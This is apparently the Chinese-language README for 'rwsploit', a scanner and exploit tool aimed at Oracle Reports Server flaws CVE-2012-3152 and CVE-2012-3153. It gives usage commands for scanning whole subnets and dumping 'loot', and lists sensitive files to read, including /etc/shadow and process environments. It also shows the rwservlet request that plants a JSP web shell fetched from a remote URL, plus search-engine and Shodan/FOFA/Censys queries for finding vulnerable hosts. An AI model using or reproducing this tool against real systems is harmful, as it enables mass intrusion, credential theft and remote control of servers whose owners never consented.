⚠️ 仅限授权使用。只能在您拥有或获得明确书面许可的系统上运行此工具。未经授权使用是违法的。
针对 Oracle Reports Server(rwservlet)的定向利用扫描器,专门针对 CVE-2012-3152 和 CVE-2012-3153——影响低于 11g 的版本。自动完成检测、LFI 文件读取、SSRF 测试以及 JSP Shell 上传,支持单个 IP、CIDR 范围或目标列表。智能 TCP/HTTP 预过滤可即时跳过无响应主机,不浪费任何时间。
git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests
需要 Python 3.8+。无其他依赖项。
python3 rwsploit.py -t <IP|CIDR> [选项]
python3 rwsploit.py -f <文件> [选项]
不附带参数运行可查看完整帮助菜单和侦察关键词。
| 标志 | 描述 | 默认值 |
|---|---|---|
-t | 目标 IP、主机名或 CIDR。可接受多个值。 | — |
-f | 文件,每行一个 IP 或 CIDR。# 表示注释。 | — |
-p | 自定义单个端口——覆盖默认端口列表。 | 80 443 8080 7777 7778 7779 8443 9090 |
-T | 并发线程数。 | 15 |
-o | 将 LFI 转储保存到磁盘,使用此前缀。例如 -o loot → loot_<ip>_<port>_<file>.txt | 仅输出到 stdout |
--timeout | 请求超时时间(秒)。 | 10 |
--lfi | 运行 LFI 文件读取载荷。首先检测操作系统,因此仅运行相关载荷。 | 关闭 |
--no-ssrf | 跳过 SSRF webhook 测试。 | 关闭 |
--shell | 上传 JSP Shell。提示输入提供 Shell 内容的 URL。 | 关闭 |
-h | 显示帮助和侦察关键词。 | — |
# 仅检测
python3 rwsploit.py -t 10.10.10.55 -p 7777
# 检测 + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi
# 完整链——LFI + SSRF + Shell
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell
# 子网扫描,保存转储
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot
# 从文件扫描,无 SSRF
python3 rwsploit.py -f targets.txt --lfi --no-ssrf
targets.txt 格式
# 注释——跳过
10.10.10.55
10.10.11.0/24
通过 showenv 首先检测操作系统,然后仅运行匹配的载荷集来读取世界可读文件。
Linux — /etc/passwd、/etc/shadow、/etc/hosts、/etc/issue、/etc/os-release、/etc/group、/etc/crontab、/etc/timezone、/proc/version、/proc/cmdline、/proc/self/environ
Windows — win.ini、system32\drivers\etc\hosts、boot.ini、system.ini、AUTOEXEC.BAT
🚨 没有 LFI 输出并不意味着目标安全——Oracle 的配置和文件权限各不相同。请始终独立测试 SSRF 和 Shell 上传。
触发 rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> 并轮询 webhook.site API 以获取回调。命中时打印源 IP、方法和用户代理。启动时自动创建新的 webhook 令牌。
--shell)showenv 读取 PATH_TRANSLATED 以获取真实的 Web 根路径kxqbrmfa.jsp)rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<your URL>inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet
Shodan
http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"
FOFA
body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"
Censys
services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"
| CVE | 描述 |
|---|---|
| CVE-2012-3152 | 通过 rwservlet 的 report 参数进行未经身份验证的文件读取 |
| CVE-2012-3153 | 通过 JOBTYPE=rwurl + URLPARAMETER 进行 SSRF 和文件写入 |
影响 Oracle Reports Server 6i、9i、10g——在 11g 中修复。
仅用于授权的渗透测试、CTF 挑战和安全研究。作者不对滥用行为承担任何责任。